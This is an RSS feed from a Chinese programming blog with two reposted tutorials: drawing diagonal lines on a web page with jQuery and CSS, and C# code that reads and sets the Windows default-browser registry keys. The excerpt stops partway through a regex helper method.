<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CQ-CSER &#187; WEB</title>
	<atom:link href="http://cq-cser.cn/tag/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://cq-cser.cn</link>
	<description>计算机爱好者</description>
	<lastBuildDate>Wed, 02 May 2012 10:01:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>web页面绘制斜线</title>
		<link>http://cq-cser.cn/2010/01/web%e9%a1%b5%e9%9d%a2%e7%bb%98%e5%88%b6%e6%96%9c%e7%ba%bf/</link>
		<comments>http://cq-cser.cn/2010/01/web%e9%a1%b5%e9%9d%a2%e7%bb%98%e5%88%b6%e6%96%9c%e7%ba%bf/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 08:35:19 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>
		<category><![CDATA[WEB]]></category>
		<category><![CDATA[斜线]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=671</guid>
		<description><![CDATA[ 作者: 古道 发表于 2010-01-25 11:16 原文链接 在看惯了web的中规中矩的横线和竖线后，偶尔来点斜线将给人一种别致的感觉。先看看斜线的效果 简简单单的一条斜线给页面增色不少吧，但是在web页面中怎么来绘制呢？说到绘制，可能你已经想到了，就是一个点一点画出来。下面是代码 &#60;script type="text/javascript"&#62; $().ready(function(){ function wirteline(o){ var myHeight=o.parent().height(); //获得高度和宽度 var myWidth=o.parent().width(); var count=myHeight&#60;=myWidth?myHeight:myWidth; var divstring=" "; for(var i=0;i&#60;=count;i++) //循环绘制 { divstring+="&#60;div class='line' style='top:"+i.toString()+"px;left:"+(myWidth--).toString()+"px;'&#62;&#60;/div&#62;"; //为什么不直接这样呢？ //o.append("&#60;div class='line' style='top:"+i.toString()+"px;left:"+(myWidth--).toString()+"px;'&#62;&#60;/div&#62;"); } o.append(divstring); //如果像上面那样重复获取对象，会有点慢 } wirteline($('.linebox')); }); &#60;/script&#62; 基本原理就是一个div一个像素，根据div的位置组成一条斜线。具体代码我就不说了吧，上面有注释。 CSS和HTML： &#60;style type="text/css"&#62; #mydiv{ width:900px; height:600px;} .linebox{ position:relative;width:100%; height:100%;} .line{ background-color:Red; width:1px; height:1px; position:absolute; [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2009/11/%e4%bb%bf%e8%bf%85%e9%9b%b7%e5%8d%9a%e5%ae%a2%e7%94%a8%e6%88%b7%e7%99%bb%e9%99%86%e5%bc%b9%e5%87%ba%e7%aa%97%e5%8f%a3/' rel='bookmark' title='Permanent Link: 仿迅雷博客用户登陆弹出窗口'>仿迅雷博客用户登陆弹出窗口</a></li>
<li><a href='http://cq-cser.cn/2010/02/%e5%88%86%e9%a1%b5%e6%8e%a7%e4%bb%b6%e5%88%86%e9%a1%b5%e7%b1%bb/' rel='bookmark' title='Permanent Link: 分页控件/分页类'>分页控件/分页类</a></li>
<li><a href='http://cq-cser.cn/2009/12/%e8%a8%80%e8%ae%ba-1/' rel='bookmark' title='Permanent Link: 言论-1'>言论-1</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p> 作者: <a href="http://www.cnblogs.com/gudao119/" target="_blank">古道</a> 发表于 2010-01-25 11:16 <a href="http://www.cnblogs.com/gudao119/archive/2010/01/25/1655683.html" target="_blank">原文链接</a></p>
<div>
<div>
<blockquote><p>在看惯了web的中规中矩的横线和竖线后，偶尔来点斜线将给人一种别致的感觉。先看看斜线的效果</p>
<p><a href="http://images.cnblogs.com/cnblogs_com/gudao119/WindowsLiveWriter/web_9E55/linedome_2.jpg" target="_blank"><img style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title="linedome" src="http://images.cnblogs.com/cnblogs_com/gudao119/WindowsLiveWriter/web_9E55/linedome_thumb.jpg" border="0" alt="linedome" width="672" height="335" /></a></p>
<p><span id="more-671"></span>简简单单的一条斜线给页面增色不少吧，但是在web页面中怎么来绘制呢？说到绘制，可能你已经想到了，就是一个点一点画出来。下面是代码</p>
<div>
<pre>&lt;script type="<span style="COLOR: #8b0000">text/javascript</span>"&gt;
        $().ready(function(){
            function wirteline(o){
                var myHeight=o.parent().height();   <span style="COLOR: #008000">//获得高度和宽度</span>
                var myWidth=o.parent().width();
                var count=myHeight&lt;=myWidth?myHeight:myWidth;
                var divstring="<span style="COLOR: #8b0000"> </span>";
                <span style="COLOR: #0000ff">for</span>(var i=0;i&lt;=count;i++)  <span style="COLOR: #008000">//循环绘制</span>
                {
                   divstring+="<span style="COLOR: #8b0000">&lt;div class='line' style='top:</span>"+i.toString()+"<span style="COLOR: #8b0000">px;left:</span>"+(myWidth--).toString()+"<span style="COLOR: #8b0000">px;'&gt;&lt;/div&gt;</span>";
                   <span style="COLOR: #008000">//为什么不直接这样呢？</span>
                   <span style="COLOR: #008000">//o.append("&lt;div class='line' style='top:"+i.toString()+"px;left:"+(myWidth--).toString()+"px;'&gt;&lt;/div&gt;");</span>

                }
                o.append(divstring);   <span style="COLOR: #008000">//如果像上面那样重复获取对象，会有点慢</span>
            }

           wirteline($('.linebox'));
        });
    &lt;/script&gt;</pre>
<pre>基本原理就是一个div一个像素，根据div的位置组成一条斜线。具体代码我就不说了吧，上面有注释。</pre>
</div>
<p>CSS和HTML：</p>
<div>
<pre>    &lt;style type="<span style="COLOR: #8b0000">text/css</span>"&gt;
        #mydiv{ width:900px; height:600px;}
        .linebox{ position:relative;width:100%; height:100%;}
        .line{ background-color:Red; width:1px; height:1px; position:absolute; opacity:0.5}
        .border{ border-<span style="COLOR: #0000ff">top</span>:solid 3px blue; border-left:solid 3px red; height:10px; width:10px;}
    &lt;/style&gt;
&lt;div id="<span style="COLOR: #8b0000">mydiv</span>"&gt;
&lt;div <span style="COLOR: #0000ff">class</span>="<span style="COLOR: #8b0000">linebox</span>"&gt;&lt;/div&gt;
&lt;/div&gt;</pre>
</div>
<p>下面是Firebug里的截图：</p>
<p><a href="http://images.cnblogs.com/cnblogs_com/gudao119/WindowsLiveWriter/web_9E55/cod.jpg" target="_blank"><img style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title="cod" src="http://images.cnblogs.com/cnblogs_com/gudao119/WindowsLiveWriter/web_9E55/cod_thumb.jpg" border="0" alt="cod" width="269" height="224" /></a></p>
<p>看起来有点恐怖，不知道你还有没有更好的方法？</p>
<p>其实还有一种方法来绘制斜线，不过不能用来修饰页面，原理是用了div的border，先来看一下一个div</p>
<p>你发现那条斜线了吗？</p>
<p>&lt;div  style=&#8221;border-top:solid 4px blue; border-left:solid 4px red; height:10px; width:10px;&#8221;&gt;&lt;/div&gt;</p>
<p>把border的宽度设置的更大一点就可以仿造一条“斜线”了，用在表头上这个效果还是不错的。</p>
<p><a href="http://images.cnblogs.com/cnblogs_com/gudao119/WindowsLiveWriter/web_9E55/table.jpg" target="_blank"><img style="BORDER-BOTTOM: 0px; BORDER-LEFT: 0px; DISPLAY: inline; BORDER-TOP: 0px; BORDER-RIGHT: 0px" title="table" src="http://images.cnblogs.com/cnblogs_com/gudao119/WindowsLiveWriter/web_9E55/table_thumb.jpg" border="0" alt="table" width="251" height="78" /></a></p>
<p>这样是不是更简单一些呢？怎么用就看你的了！</p></blockquote>
</div>
</div>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2009/11/%e4%bb%bf%e8%bf%85%e9%9b%b7%e5%8d%9a%e5%ae%a2%e7%94%a8%e6%88%b7%e7%99%bb%e9%99%86%e5%bc%b9%e5%87%ba%e7%aa%97%e5%8f%a3/' rel='bookmark' title='Permanent Link: 仿迅雷博客用户登陆弹出窗口'>仿迅雷博客用户登陆弹出窗口</a></li>
<li><a href='http://cq-cser.cn/2010/02/%e5%88%86%e9%a1%b5%e6%8e%a7%e4%bb%b6%e5%88%86%e9%a1%b5%e7%b1%bb/' rel='bookmark' title='Permanent Link: 分页控件/分页类'>分页控件/分页类</a></li>
<li><a href='http://cq-cser.cn/2009/12/%e8%a8%80%e8%ae%ba-1/' rel='bookmark' title='Permanent Link: 言论-1'>言论-1</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/01/web%e9%a1%b5%e9%9d%a2%e7%bb%98%e5%88%b6%e6%96%9c%e7%ba%bf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何获取并设置自己的浏览器为默认浏览器</title>
		<link>http://cq-cser.cn/2010/01/%e5%a6%82%e4%bd%95%e8%8e%b7%e5%8f%96%e5%b9%b6%e8%ae%be%e7%bd%ae%e8%87%aa%e5%b7%b1%e7%9a%84%e6%b5%8f%e8%a7%88%e5%99%a8%e4%b8%ba%e9%bb%98%e8%ae%a4%e6%b5%8f%e8%a7%88%e5%99%a8/</link>
		<comments>http://cq-cser.cn/2010/01/%e5%a6%82%e4%bd%95%e8%8e%b7%e5%8f%96%e5%b9%b6%e8%ae%be%e7%bd%ae%e8%87%aa%e5%b7%b1%e7%9a%84%e6%b5%8f%e8%a7%88%e5%99%a8%e4%b8%ba%e9%bb%98%e8%ae%a4%e6%b5%8f%e8%a7%88%e5%99%a8/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 04:00:21 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[浏览器]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=659</guid>
		<description><![CDATA[在.net里面，有一个WebBrowser控件，这个控件可以用于很多用途，很多人用来定做自己的浏览器，本文谈谈如何获取默认浏览器的设置，并介绍如何设置自己的浏览器为默认浏览器的小技巧。 先看一个小的界面图形，用来更好理解这个功能的用途，如下图我们可以看到需要获取到系统的默认浏览器名称，并提供设置默认浏览器功能。   其实，这些操作都是和注册表相关的内容，这些内容保存在键HKEY_CLASSES_ROOT\http\shell\open\command中的默认值里面， 而默认浏览器的名称保存在HKEY_CLASSES_ROOT\http\shell\open\ddeexec\Application的默认值里面。 基本上我们修改这两个键值就可以实现默认浏览器的设置了。 在上面的默认浏览器界面中，我封装了一些方法，现发布出来，希望对大家有用处。 代码         private void FrmOptions_Load(object sender, EventArgs e)         {             InitDefaultBrowser();         }         private void InitDefaultBrowser()         {             string defaultName = RegistryHelper.GetDefaultBrowerName();             try             {                 string browserPath = CRegex.GetText(defaultName, &#8220;\&#8220;(?&#60;key&#62;.*?)\&#8220;&#8221;, 1);                 FileInfo fileInfo = new FileInfo(browserPath);                 string fileName = fileInfo.Name.Replace(fileInfo.Extension, &#8220;&#8221;);                 this.lblDefaultName.Text = fileName;             }             catch(Exception ex)             {                 LogHelper.Error(ex);             }         }         private void btnSetDefault_Click(object sender, EventArgs e)         {             RegistryHelper.SetDefaultBrowser(Application.ExecutablePath);             MessageUtil.ShowTips(&#8220;设置默认浏览器成功&#8220;);             InitDefaultBrowser();         }         private void btnReset_Click(object sender, EventArgs e)         {             RegistryHelper.ResetIEDefaultBrowser();             MessageUtil.ShowTips(&#8220;恢复IE为默认浏览器成功&#8220;);             InitDefaultBrowser();         }     其中我把注册表的访问，放到了一个独立的注册版访问类中进行处理了，其中包含了3个部分，获取默认浏览器名称，设置自己的浏览器为默认浏览器，恢复IE为默认浏览器功能。下面是该类的代码。 代码         /// &#60;summary&#62;         /// 获取默认浏览器的名称         /// &#60;/summary&#62;         /// &#60;returns&#62;&#60;/returns&#62;         public static string GetDefaultBrowerName()         {             string mainKey = @&#8221;http\shell\open\command&#8220;;             string nameKey = @&#8221;http\shell\open\ddeexec\Application&#8220;;             string strRet = string.Empty;             try             {                 RegistryKey regKey = Registry.ClassesRoot.OpenSubKey(mainKey); [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2009/12/c%e5%8e%8b%e7%bc%a9%e4%b8%8e%e8%a7%a3%e5%8e%8b%e7%bc%a9%ef%bc%88%e7%bb%ad%ef%bc%89/' rel='bookmark' title='Permanent Link: c#压缩与解压缩（续）'>c#压缩与解压缩（续）</a></li>
<li><a href='http://cq-cser.cn/2009/12/asp-netc%e5%88%a9%e7%94%a8rar%e5%ae%9e%e7%8e%b0%e6%96%87%e4%bb%b6%e5%8e%8b%e7%bc%a9/' rel='bookmark' title='Permanent Link: asp.net(c#)利用RAR实现文件压缩'>asp.net(c#)利用RAR实现文件压缩</a></li>
<li><a href='http://cq-cser.cn/2010/01/asp-net%e5%8a%a0%e5%af%86cookies/' rel='bookmark' title='Permanent Link: ASP.NET加密Cookies'>ASP.NET加密Cookies</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>在.net里面，有一个WebBrowser控件，这个控件可以用于很多用途，很多人用来定做自己的浏览器，本文谈谈如何获取默认浏览器的设置，并介绍如何设置自己的浏览器为默认浏览器的小技巧。</p>
<p>先看一个小的界面图形，用来更好理解这个功能的用途，如下图我们可以看到需要获取到系统的默认浏览器名称，并提供设置默认浏览器功能。<span id="more-659"></span><!--more--></p>
<p><img src="http://images.cnblogs.com/cnblogs_com/wuhuacong/WinformUI/SetDefaultBrowserOption.png" border="0" alt="" width="427" height="272" /></p>
<p> </p>
<p>其实，这些操作都是和注册表相关的内容，这些内容保存在键HKEY_CLASSES_ROOT\http\shell\open\command中的默认值里面，</p>
<p><img src="http://images.cnblogs.com/cnblogs_com/wuhuacong/WinformUI/SetDefaultBrowserRegistry.png" border="0" alt="" width="875" height="234" /></p>
<p>而默认浏览器的名称保存在HKEY_CLASSES_ROOT\http\shell\open\ddeexec\Application的默认值里面。</p>
<p>基本上我们修改这两个键值就可以实现默认浏览器的设置了。</p>
<p>在上面的默认浏览器界面中，我封装了一些方法，现发布出来，希望对大家有用处。</p>
<div><img src="http://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif" alt="" /><img src="http://images.cnblogs.com/OutliningIndicators/ExpandedBlockStart.gif" alt="" /><span>代码</span></p>
<div>
<div><span style="color: #000000;">        </span><span style="color: #0000ff;">private</span><span style="color: #000000;"> </span><span style="color: #0000ff;">void</span><span style="color: #000000;"> FrmOptions_Load(</span><span style="color: #0000ff;">object</span><span style="color: #000000;"> sender, EventArgs e)<br />
        {<br />
            InitDefaultBrowser();<br />
        }</p>
<p>        </span><span style="color: #0000ff;">private</span><span style="color: #000000;"> </span><span style="color: #0000ff;">void</span><span style="color: #000000;"> InitDefaultBrowser()<br />
        {<br />
            </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> defaultName </span><span style="color: #000000;">=</span><span style="color: #000000;"> RegistryHelper.GetDefaultBrowerName();<br />
            </span><span style="color: #0000ff;">try</span><span style="color: #000000;"><br />
            {<br />
                </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> browserPath </span><span style="color: #000000;">=</span><span style="color: #000000;"> CRegex.GetText(defaultName, </span><span style="color: #800000;">&#8220;</span><span style="color: #800000;">\</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">(</span><span style="color: #000000;">?&lt;</span><span style="color: #000000;">key</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">.</span><span style="color: #000000;">*?</span><span style="color: #000000;">)\</span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">, </span><span style="color: #800080;">1</span><span style="color: #000000;">);<br />
                FileInfo fileInfo </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">new</span><span style="color: #000000;"> FileInfo(browserPath);<br />
                </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> fileName </span><span style="color: #000000;">=</span><span style="color: #000000;"> fileInfo.Name.Replace(fileInfo.Extension, </span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">);<br />
                </span><span style="color: #0000ff;">this</span><span style="color: #000000;">.lblDefaultName.Text </span><span style="color: #000000;">=</span><span style="color: #000000;"> fileName;<br />
            }<br />
            </span><span style="color: #0000ff;">catch</span><span style="color: #000000;">(Exception ex)<br />
            {<br />
                LogHelper.Error(ex);<br />
            }<br />
        }</p>
<p>        </span><span style="color: #0000ff;">private</span><span style="color: #000000;"> </span><span style="color: #0000ff;">void</span><span style="color: #000000;"> btnSetDefault_Click(</span><span style="color: #0000ff;">object</span><span style="color: #000000;"> sender, EventArgs e)<br />
        {<br />
            RegistryHelper.SetDefaultBrowser(Application.ExecutablePath);<br />
            MessageUtil.ShowTips(</span><span style="color: #800000;">&#8220;</span><span style="color: #800000;">设置默认浏览器成功</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">);<br />
            InitDefaultBrowser();<br />
        }</p>
<p>        </span><span style="color: #0000ff;">private</span><span style="color: #000000;"> </span><span style="color: #0000ff;">void</span><span style="color: #000000;"> btnReset_Click(</span><span style="color: #0000ff;">object</span><span style="color: #000000;"> sender, EventArgs e)<br />
        {<br />
            RegistryHelper.ResetIEDefaultBrowser();<br />
            MessageUtil.ShowTips(</span><span style="color: #800000;">&#8220;</span><span style="color: #800000;">恢复IE为默认浏览器成功</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">);<br />
            InitDefaultBrowser();<br />
        }</span></div>
</div>
</div>
<p> </p>
<p> </p>
<p>其中我把注册表的访问，放到了一个独立的注册版访问类中进行处理了，其中包含了3个部分，获取默认浏览器名称，设置自己的浏览器为默认浏览器，恢复IE为默认浏览器功能。下面是该类的代码。</p>
<div><img src="http://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif" alt="" /><img src="http://images.cnblogs.com/OutliningIndicators/ExpandedBlockStart.gif" alt="" /><span>代码</span></p>
<div>
<div><span style="color: #000000;">        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;summary&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> 获取默认浏览器的名称<br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;/summary&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;returns&gt;&lt;/returns&gt;</span><span style="color: #808080;"><br />
</span><span style="color: #000000;">        </span><span style="color: #0000ff;">public</span><span style="color: #000000;"> </span><span style="color: #0000ff;">static</span><span style="color: #000000;"> </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> GetDefaultBrowerName()<br />
        {<br />
            </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> mainKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800000;">@&#8221;</span><span style="color: #800000;">http\shell\open\command</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">;<br />
            </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> nameKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800000;">@&#8221;</span><span style="color: #800000;">http\shell\open\ddeexec\Application</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">;</p>
<p>            </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> strRet </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">string</span><span style="color: #000000;">.Empty;<br />
            </span><span style="color: #0000ff;">try</span><span style="color: #000000;"><br />
            {<br />
                RegistryKey regKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> Registry.ClassesRoot.OpenSubKey(mainKey);<br />
                strRet </span><span style="color: #000000;">=</span><span style="color: #000000;"> regKey.GetValue(</span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">).ToString();<br />
            }<br />
            </span><span style="color: #0000ff;">catch</span><span style="color: #000000;"><br />
            {<br />
                strRet </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">;<br />
            }<br />
            </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> strRet;<br />
        }</p>
<p>        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;summary&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> 设置自定义浏览器为默认浏览器<br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;/summary&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;param name=&#8221;browserExePath&#8221;&gt;&lt;/param&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;returns&gt;&lt;/returns&gt;</span><span style="color: #808080;"><br />
</span><span style="color: #000000;">        </span><span style="color: #0000ff;">public</span><span style="color: #000000;"> </span><span style="color: #0000ff;">static</span><span style="color: #000000;"> </span><span style="color: #0000ff;">bool</span><span style="color: #000000;"> SetDefaultBrowser(</span><span style="color: #0000ff;">string</span><span style="color: #000000;"> browserExePath)<br />
        {<br />
            </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> mainKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800000;">@&#8221;</span><span style="color: #800000;">http\shell\open\command</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">;<br />
            </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> nameKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800000;">@&#8221;</span><span style="color: #800000;">http\shell\open\ddeexec\Application</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">;<br />
            </span><span style="color: #0000ff;">bool</span><span style="color: #000000;"> result </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">false</span><span style="color: #000000;">;</p>
<p>            </span><span style="color: #0000ff;">try</span><span style="color: #000000;"><br />
            {<br />
                </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> value </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">string</span><span style="color: #000000;">.Format(</span><span style="color: #800000;">&#8220;</span><span style="color: #800000;">\</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">{</span><span style="color: #800080;">0</span><span style="color: #000000;">}\</span><span style="color: #800000;">&#8220;</span><span style="color: #800000;"> \</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">%</span><span style="color: #800080;">1</span><span style="color: #000000;">\</span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">, browserExePath);<br />
                RegistryKey regKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> Registry.ClassesRoot.OpenSubKey(mainKey, </span><span style="color: #0000ff;">true</span><span style="color: #000000;">);<br />
                regKey.SetValue(</span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">, value);<br />
                regKey.Close();</p>
<p>                FileInfo fileInfo </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">new</span><span style="color: #000000;"> FileInfo(browserExePath);<br />
                </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> fileName </span><span style="color: #000000;">=</span><span style="color: #000000;"> fileInfo.Name.Replace(fileInfo.Extension, </span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">);<br />
                regKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> Registry.ClassesRoot.OpenSubKey(nameKey, </span><span style="color: #0000ff;">true</span><span style="color: #000000;">);<br />
                regKey.SetValue(</span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">, fileName);<br />
                regKey.Close();</p>
<p>                result </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">true</span><span style="color: #000000;">;<br />
            }<br />
            </span><span style="color: #0000ff;">catch</span><span style="color: #000000;">(Exception ex)<br />
            {<br />
                LogHelper.Error(ex);<br />
            }</p>
<p>            </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> result;<br />
        }</p>
<p>        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;summary&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> 恢复IE为默认浏览器<br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;/summary&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;returns&gt;&lt;/returns&gt;</span><span style="color: #808080;"><br />
</span><span style="color: #000000;">        </span><span style="color: #0000ff;">public</span><span style="color: #000000;"> </span><span style="color: #0000ff;">static</span><span style="color: #000000;"> </span><span style="color: #0000ff;">bool</span><span style="color: #000000;"> ResetIEDefaultBrowser()<br />
        {<br />
            </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> mainKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800000;">@&#8221;</span><span style="color: #800000;">http\shell\open\command</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">;<br />
            </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> nameKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800000;">@&#8221;</span><span style="color: #800000;">http\shell\open\ddeexec\Application</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">;<br />
            </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> IEPath </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800000;">@&#8221;</span><span style="color: #800000;">C:\Program Files\Internet Explorer\iexplore.exe</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">;<br />
            </span><span style="color: #0000ff;">bool</span><span style="color: #000000;"> result </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">false</span><span style="color: #000000;">;</p>
<p>            </span><span style="color: #0000ff;">try</span><span style="color: #000000;"><br />
            {<br />
                </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> value </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">string</span><span style="color: #000000;">.Format(</span><span style="color: #800000;">&#8220;</span><span style="color: #800000;">\</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">{</span><span style="color: #800080;">0</span><span style="color: #000000;">}\</span><span style="color: #800000;">&#8220;</span><span style="color: #800000;"> &#8211; \</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">%</span><span style="color: #800080;">1</span><span style="color: #000000;">\</span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">, IEPath);<br />
                RegistryKey regKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> Registry.ClassesRoot.OpenSubKey(mainKey, </span><span style="color: #0000ff;">true</span><span style="color: #000000;">);<br />
                regKey.SetValue(</span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">, value);<br />
                regKey.Close();</p>
<p>                regKey </span><span style="color: #000000;">=</span><span style="color: #000000;"> Registry.ClassesRoot.OpenSubKey(nameKey, </span><span style="color: #0000ff;">true</span><span style="color: #000000;">);<br />
                regKey.SetValue(</span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">, </span><span style="color: #800000;">&#8220;</span><span style="color: #800000;">IExplore</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">);<br />
                regKey.Close();<br />
                <br />
                result </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">true</span><span style="color: #000000;">;<br />
            }<br />
            </span><span style="color: #0000ff;">catch</span><span style="color: #000000;"><br />
            {<br />
            }</p>
<p>            </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> result;<br />
        }</span></div>
</div>
</div>
<p> </p>
<p> </p>
<p>另外代码中，为了获取到默认的浏览器文件名称，我通过正则表达式来获取内容，</p>
<p>我们看到，那个默认值是：&#8221;E:\Program Files\Maxthon2\Maxthon.exe&#8221; &#8220;%1&#8243;</p>
<p>为了获得第一部分的内容，我通过正则表达式匹配方式来获取，如代码</p>
<p><span style="color: #0000ff;">string</span><span style="color: #000000;"> browserPath </span><span style="color: #000000;">=</span><span style="color: #000000;"> CRegex.GetText(defaultName, </span><span style="color: #800000;">&#8220;</span><span style="color: #800000;">\</span><span style="color: #800000;">&#8220;</span><span style="color: #000000;">(</span><span style="color: #000000;">?&lt;</span><span style="color: #000000;">key</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">.</span><span style="color: #000000;">*?</span><span style="color: #000000;">)\</span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">, </span><span style="color: #800080;">1</span><span style="color: #000000;">);</span></p>
<p>该方法的详细内容如下：</p>
<div><img src="http://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif" alt="" /><img src="http://images.cnblogs.com/OutliningIndicators/ExpandedBlockStart.gif" alt="" /><span>代码</span></p>
<div>
<div><span style="color: #000000;">        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;summary&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> 单个匹配内容<br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;/summary&gt;</span><span style="color: #008000;"><br />
